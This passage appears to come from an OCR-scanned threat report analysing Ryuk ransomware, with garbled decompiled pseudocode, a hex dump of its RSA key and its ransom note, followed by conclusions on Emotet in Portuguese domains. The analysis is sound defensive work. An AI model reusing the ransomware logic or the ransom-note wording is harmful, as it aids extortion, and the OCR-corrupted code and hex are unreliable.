18 sub_300088F83{&Buffer, L"\\Documents and SettingsyiDefault Useri\sys");

19| else

28 sub_3888BF83(&Buffer, L"\\usersyi\Publici\sys™);

21| SetLastError{d);
22| hObject =

CreateFileW(&Buffer, Bx408000000u, O, 8, 3u, 2u, 8);

¥

u? = GetLastError{);

if ( u7 == 32 && v7 )

{
ug = 2;
CloseHandle{hDbject};
result = ud;

H

else

{
8
if

=
e =
o

v 1

f 7

e
<

Ly |
ar |l

-

hOobject =
if { *hObject )
ug = 8;
e
result = vwd;
H

return result;

CreateFileW{&Buffer, BxCOBOO600, O, 0, 2u, 2u,

8);
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Figure 38: Sys file is created to identify the beginning of the encryption process.
In contrast, a file called “finish” is also created when the malware ends the encryption process.

8] if (U6 t= 1 & ub t= 11 )

15| ¢
16 while ¢ 1)

17 {

18 Sleep{Bx61A8U);

19 ufi = sub_38883D018(dword_368129A44);
28 if (ve == 1)

21 break;

22 if ( vé == 5 )

23 Sub_30008947C(1);

24 H

25 sub_30004200(1, (int)&::Buffer);

26 result = 1;

27

28 else

29 £

30 sub_30004200(11, (int)&::Buffer);

a1 vl = 258;

32 GetWindowsDirectoryW(&Buffer, BxFAu);

33 ui = B8;
34 if { dword_38129Aa4%4 )

35 sub_368088F83(&Buffer, L"\\Documents and Settingsi\Default Useri\finish™};
a6 else
37 sub_308088F83(&Buffer, L"\wusers\\Publici\\finish™);

as SetLastError(8);
39 hobject = CreateFileW{&Buffer, @x40000800u, A, 6, 3u, 2Zu, 8);

no CloseHandle(hObject);
41 dword_3882F62C{1);
L2 result = 1;

L3l 3

44 return result;

Figure 39: “Finish” file created when the ransomware terminates the encryption process.

Up to this point, Ryuk's parent process, child processes, and all the running processes infected (via
injection) by Ryuk have been created. The encryption process begins at this point, and each binary
starts the encryption process in accordance to the assigned drive.

The flow graph on the encryption process is presented in Figure 40.
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Figure 40: Graph flow that describes the Ryuk encryption process.

During the encryption process, we can see that Ryuk has some exceptions.

if ( vi3 & 6x18 )
{
sub_3868682818(a1);
u? = sub_38883AEB(a1, &uis);
sub_38882138{v7, a2, a3, al);
sub_388826818(a1);
u8 = sub_38883C28(a1);
*{ WORD =){al + 2 = (u8 - sub_38883C28(&v14)) - 2) = B;
H
else
{
sub_3868869D8(&v12, B, 1888);
sub_3868683BCA(&V12, &uil);
if { ftsub_30003C68({&v12, L"RyukReadie . html™)
&& tsub_30003C68(&v12, L"UNIQUE_ID_DO_NOT_REMOVE™)
&& fsub_30803C6A{(&v12, L"PUBLIC")
&& fsub_30803C608(a1, L"\\UWindowsiy")

&é *sub_38803C68(a1, L"sysvol™)
&b fsub_30003C668(al1, L"netlogon™) )

{
uls = B8;
sub_3800869D0(&u16, B, 48);
uiid = 3;

For ( i =@; i < u?77; ++i )

sub_30@869D8{&u15, @, 58);
fFor ( j = 8; ; ++j )
{
u9 = sub_38883C28(&aD11[25 * i]);
if ( § »=ue )
break;
U108 = sub_38BB3ABA{*({&aD11[25 = i] + j));

Figure 41: Files and directories skipped by Ryuk.
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The folder named "AhnLab", is one of the skipped folders. It refers to the homonymous Korean anti-
virus, as we indicated previously Ryuk has extreme similarities to Hermes ransomware.

The following extensions will not be encrypted as well:

.exe
.hrmlog

The extension .RYK is added at the final of the encrypted files such as: file_name.docx.RYK.

nov eax, [ebp+uar_k]
nov dword ptr [eax+36CBh], 1
nov ecx, [ebp+uar_14]
push BCX
nov edx, [ebp+var_4sub_300881F48
push edx
call sub_30808083BCH var_18
add esp, 8 var_C
push a var_8
push a var_u
nov eax, [ebp+var_4arg_8
push eax
push offset sub_3o88
push a
push a
call dword_3802F5F4
nov ecx, [ebp+var_54
nov edx, [ecx+36C4h
nov Handles[ed==*4],
push 8888h
push a
nov eax, [ebp+var_1
push eax
call dword_368802F688
M
_8]
loc_300082908B:
short loc_3
_F]
_8]
_4]
_3ec]
a1

proc near
= dword ptr -16h

= dword ptr -8Ch

= dword ptr -8

= dword ptr -4

= dword ptr 8

push ebp

nov ebp, esp

sub esp, 16h

nov eax, [ebp+arg_#]
nov [ebp+var_4], eax
nov ecx, [ebp+var_u]
nov edx, [ecx+36CAN]
push edx

nov eax, [ebp+var_u]
nov ecx, [eax+36B4h]
push (]

nov edx, [ebp+var_u]
nov eax, [edx+36B8h]
push eax

nov ecx, [ebp+var_ 4]
nov edx, [ecx+36BCh]
push edx

nov eax, [ebp+var_u]
nov ecx, [eax+36B8h]
push BCx

nov edx, [ebp+var_u]
push edx

call sub_380881278
add esp, 18h

nov [ebp+var_C], eax
push offset a_ryk

nov eax, [ebp+var_L4]
push eax

rall cuh 2O0RAMADG

; DATA XREF: sub_38882138+7ABlo

; " -RYK”

Figure 42: The .RYK extension is added to the corrupted file.

Regarding the cryptographic algorithms, the ransomware uses RSA keys of 4096 + AES 256.

Each binary of the Ryuk was a different RSA key, and a
ransom is paid. The RSA key can be observed below.

is sent by operators when the
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@043NEOE 000G 0000 GOBD BOGO 0006 2FO8 4D4D 4D28 6162 TLG6D 6172 2E79 7865 2865 462F @688 ........... fIM-mbamtray.exe-/F..
JO43ABEE  00OR 0000 00RO QOO0 Q0O 0000 AUBA ODOP 00O ADAG G0OO QPO 00OA 0P80 3EO0 3069
d043nEDE 2388 TA16 ACBY 173F 1986 3E1B 2885 0428 3E22 3089 2368 2F16 3539 1622 3IB3B 7F1D
HO43ABFE  3BOA 86830 3EAQ 1E00 2600 OAOA 24080 AOFO0 3FO0 27080 1000 2200 4200 3B00 2700 6DOQ
ae43AC1E 7168 31608 3F88 3ID6G 1DO6 3868 BCO6 3IDEG INGO 3508 1500 6700 3ICAM 2868 1CA8 3ID6A
HO43AC3E 1608 7RO 3CA0 1AOO 3400 1000 8600 3EO0 0000 3FP0 0600 3500 JEOM 4700 3300 6380
@043AC5E  2EQ8 60688 5868 1CA6 341A 2910 0615 0000 0060 ADAD 0600 ABO2 G6OO OBAL 5208 4153
HO43ACYE  A031 00688 A100 9180 3BO8 F33D 2997 0912 57B3 F811 9781 55B9 2FA6 F76C 96E6 EFCB ;== ..:W © 'Uaflluu n
d043ACOE  DAD1 29D8 BA2A 86E6 OA26 S0B3 BAVE 0352 BCDA DOBA B5B3 BBDG6 8SESF EVSY 5B13 BUAR  —+-)=_ pa& Px R.+1.-].++_fWE.[4D
0U43ACBE 3953 BBDB B2ZAF B4D2 B6BD 4DBA FCS4 CFE1 994C EAAY EEFS 9FF4 DSBB BDAS BBD2Z BDCH S9!+»!-..!.MInbB-Lii- U)E(l++N+ -+
@043ACDE  WAE2 1E52 512C AVEF A147 4EFZ2 32FE 359E F982 A8A% 7902 A621 FF63 97FC 3AE7 3619 GJR.,QnQGirH:2P5.-ﬁaﬁy!éc-nﬁt:.6
OO43ACFE  93D1 B97C 4EAA 8757 AEA4 565D 56D6 CBAG FB21 1453 9249 SE24 1066 FF7B C689 FS577 -0|.~NUghi«JU+V2+1=S 14§ F . {-Elw)
0043nD1E 0093 E22B 25B1 C104 4N8E ECC7 E7V98 BCSF FB2F D221 4852 0888 D4D7 7CC7 36CD 1ADA  &.+G!%.—AJI8HL_+/Ut-RHE.++!|-6+.
0043AD3E  11BF 473B 6200 E6BO 9748 22086 2D9C 1743 E976 E35C 4AD7 05D1 ES69 723D €903 503C +._;G.bh!pHU."E-C.uT\p+J-.is=r.+<P
0043nDSE 7486 5812 31C8 57C9 868E ACD3 5550 S54B 7078 4B22 3065 09F7 BE13 4D77 855B EBO7 St.X+1+WAS+%ZUKUx}"K. Bl. +uh[a.d
B043ADYE  DBD3 B3FO 262E A278 OUB3 0000 0000 00RO 0000 APOO 1400 3A29 3508 330F 4927 8715 +]=]. .5.3°1..
a043ADOE 2036 341D A942 @821 OD35 3IA2D FEYD 3663 4925 13VE 2082F 258C 566F 1A3F 8322 243E 6,.4B.%.5. BRIV A - %OP° "%
9B43ADEB  3FBA 2842 1A2C 1838 693F 391Aa 3E63 1E26 1622 3B35 3688 7AB7 BF66 183E 2A67 7153 . 7B(,.8.71.9.>&.".5;.6.Zf.>.g*Sq
@043ADDE 354D 5427 5832 6670 3004 291A 1320 SF34% 796E 1C58 5720 1F43 1122 2D3B 3884 7ABC M5 'T2XzfF.0.)-.4% nyX.-WC.".;-.8.z2
HO43ADFE  AC3B BB22 2020 2249 3BOA 062D 1126 262E 3018 3F05 4669 BD37 7428 6BOA 7542 0726 S, I -k &.B.71FF L (L .KBU&.
@0430E1E @160 6968 3CAH6 2203 0030 B72B 3CA7 3367 2FOBD AD27 8634 4357 221F 3B11 842D 6038 +.g<.3./" B WC. -8
HO43AESE  3BYA 228C 2008 492C BA22 2D3B 2686 2E11 1B26 0538 693F 3746 280D 8D74 426B 2675 —.&. . &.0.7iF7.{t.kBu&k
BO43NESE  6CHY 68086 4669 @33C 3A22 2BO0 6787 597D 2F68 4418 2763 2911 68D28 BB3C 6934 3W1B R 1L T T R %
HO43IAESE 3311 BC33 1171 2832 3E6D 2915 863D 0323 203D 7EAD 3584 543B 5835 667A 3F@6 IESF  .33.q.2(.>.)=.%.=,1".5;T58z2F.7_>
G043NE9E 4973 OFFE 313B 381A 3F18 1C74 003F 23C35 35607 3EG7 6344 1127 2829 3CHAD 3488 1B6? sSI™.;1.8.7E.2.5<.5.2Dc".)(.<.4i.
HO43AEBE 1134 3333 718C 3211 8D28 153E 3029 2386 3003 492C O4FE 3B35 3454 TAS8 0666 S5F3F 4.33.q.2(.>.)=.8.=,17.5;Taxzf.7_
@043NEDE  ¥33F TEWD 3BBF 1A31 1838 743F 615D 1753 6488 145B 3A29 3588 330F 4927 6723 2629 2sI™.;1.8.7tJas..d[.):.5.3'I#.)

GB43AEFB 3413 2942 8821 @035 3A2D 3E1D 3B18 BCZ2E 4D71 263C 6C1B 6887 4669 BC3E 2C67 7153 .4B)1.5.-:.>.;..qM<&.1. iF>.g,Sq
00430F1E 374D 1128 GB22 2C20 2454 380C 1026 B863F 2D3F 5B6L4 2914 883a OF35 2733 2349 2987 H7(.".-,T$.B&.7.7-d[.):.5.3'I#.)
OO43AF3E 1320 4234 2129 3508 208D 1D3A 103E 2E3B 710C 3C4D 1B26 B46C 6960 3E46 67OC 532F - 4B)T.5.-:.>.;..qMK&.1. iF>.g/S
BO43AFSE 4WDF1 2837 2211 2088 542C 5265 O4GB SC2B 2068 1A3A 8638 2837 7187 3F10 08630 672B qM7(.".-,TeRk.+\h,:.B.7-.q.7:.+

OO43AF7B  3A7A 3801 3506 1A3E OD25 2828 34OE 7542 B62F S5F23 733C 7EN9 340D OF74 426B 2475 2z:.0.5>.%.((.4Bu/.#_<sI™.4t.KkBu$
00430F9E 2988 3311 GC33 176C 2B34 2406 3EGC O8D2C 685C 2A2C 201n 23706 6720 1071 3A3F 2B .).33.1.4+.%.>,.\h,:.8.7-.q.7:.+

Figure 43: RSA key hardcoded in the PE file.

Finally, Ryuk drops the ransom note, RyukReadMe.html or RyukReadMe.txt, in every folder where
it has encrypted files.

ReadMe.tut - Notepad - =101 x|
Fie Edt Format WView Help
Your network has been penetrated. =]

a1l files on each host in the network have been encrypted with a strong algorithm.

ups were either encrypted or deleted or backup disks were formatted.
ow copies also removed, so F8 or any other methods may damage encrypted data but not recover.

we exclusively have decryption software for your situation
No decryption software s avallable in the public.

DO NOT RESET OR SHUTDOWN - files may be damaged.

DO NOT RENAME OR MOVE the encrypted and readme files.

DO NOT DELETE readme files.

This may lead to the impossibility of recovery of the certain files.
To get info (decrypt your files) contact us at

or

BTC wallet:

14 hvKkm7FT 2 xDB

ﬂ)rul.
No system is safe
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Ryuk

balance of shadow universe

This report gives the first overview of malware operations within Portuguese cyberspace for Q1-Q4
2019. Although none of the 377 compromised domains identified was used as C2 by any of the
malware families identified, this study delivers a clean indicator that a high volume of Portuguese
domains (.pt TLD) were used by threat actors to spread the most recent waves of phishing and
malware.

As noted, Professional domains were the most affected category by malware during Q1-Q4,
followed by the sectors: Personal, Retail and Industrial.

Most of the affected servers were available in Portugal, and many of them were running websites
underdevelopment or were abandoned by their owners, with known vulnerabilities available and
obsolete CMSs installed such as WordPress® and Joomla®.

Through this investigation, we confirmed that the decrease of compromised domains during June,
July and August is directly related to the absence of the major active threat around the globe - the
Emotet banking trojan.

Emotet has been using evasion techniques to evade antivirus detection, but the principle is the
same that has been observed over the years. Once again, in the Portuguese study samples, we
found an overlap with previous reports on Emotet around the world.

Last, but not least, Emotet dropped additional payloads creating destructive damage on targets. The
Ryuk ransomware infects the machine, and it encrypts local and shared files. However, it not
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spreading through the network as it does not have wormable capabilities. This drastically increases
the damage and the likelihood that the victim will be willing to pay the ransom. This piece of
ransomware is difficult to fight and it has no execution flaws known so far. The signature of each
binary is unique and an RSA key contained in the malware is used to encrypt the files from the
victim’ computers.

Take into consideration that Emotet and Ryuk are a growing threat and a real concern into 2020.
With Emotet in place, threat actors can easily destroy trust in business, ruin the reputation of a
brand, or compromise individuals.

TA542 Brings Back Emotet with Late September Spike

Malware Analysis — Emotet Resurgence and Evolution

Triple Threat: Emotet deploys Trickbot to steal data & spread Ryuk

A one-two punch of Emotet, Trickbot, & Ryuk stealing & ransoming data

Threat Actor Profile: TA542, From Banker to Malware Distribution Service

Proofpoint Q3 2019 Threat Report — Emotet’s return, RATSs reign supreme, and more
Emotet malware has been spread via an email referring to Halloween

Emotet Trojan Evolves Since Being Reawakend, Here is What We Know

Caution! Ryuk Ransomware decryptor damages larger files, even if you pay

Greta Thunberg: Emotet’s Person of the Year
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